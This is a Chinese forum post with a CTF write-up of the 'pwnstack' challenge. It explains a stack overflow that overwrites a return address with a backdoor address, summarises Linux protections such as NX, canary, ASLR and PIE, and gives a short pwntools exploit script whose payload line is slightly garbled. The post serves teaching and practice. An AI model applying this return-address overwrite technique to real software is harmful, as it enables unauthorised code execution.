首页
社区
课程
招聘
[原创]攻防世界pwnstack解析
发表于: 2024-3-14 20:57 8558

[原创]攻防世界pwnstack解析

2024-3-14 20:57
8558

从main函数来看代码

可看到,main函数运行到vuln函数

将vuln函数的堆栈填充0xA0个’a’后。堆栈刚好全填充完
这里的read api(api是应用程序接口),会写入0xB1个值,这个值大于0xA0,怎么办?这就是栈溢出了。这17个字节,里面是什么值,也不是固定的。可是,vuln函数会继续执行

从read堆栈填充0x8个’a’后,到达很乱的栈空间中,我们用剩下的空间填入0x400762,就是backdoor的地址。理论上,backdoor函数就运行了。
我随后上传这个pwn程序。在linux系统上。保护机制是这样的:
Linux系统保护机制
 NX(DEP):数据执行防护
 Canary(FS):栈溢出保护
 RELRO(ASLR):(地址随机化)
 PIE(代码地址随机化)
NX:
栈上的数据没有执行权限
防止攻击手段:栈溢出 + 跳到栈上执行shellcode
CANARY:
在函数开始时就随机产生一个值,将这个值CANARY
放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲
区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆
盖掉CANARY的值;当程序结束时,程序会检查
CANARY这个值和之前的是否一致,如果不一致,则
不会往下运行,从而避免了缓冲区溢出攻击。
防止攻击手段:所有单纯的栈溢出
ASLR:
堆栈地址随机化
防止攻击手段:所有需要用到堆栈精确地址的攻击,要想成功,
必须用提前泄露地址
PIE:
代码部分地址无关
防止攻击手段:构造ROP链攻击

这是溢出代码。
p64()的p64的含义是:p64为将数字根据端序转为64位的字节流。

python3版本的pwntools的payload的字符串之前需要加上b前缀
然后,看看运行结果:

from pwn import *
 
io = remote(‘xxx.xxx.xxx.xxx’, 55568)
s=0x400762
p =0xa0b’a’+ 0x8b’a’+p64(s)
io.send(p)
from pwn import *
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-3-15 18:54 被ranshu编辑 ,原因:
上传的附件:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 3125
活跃值: (30886)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-3-15 13:43
1
游客
登录 | 注册 方可回帖
返回
//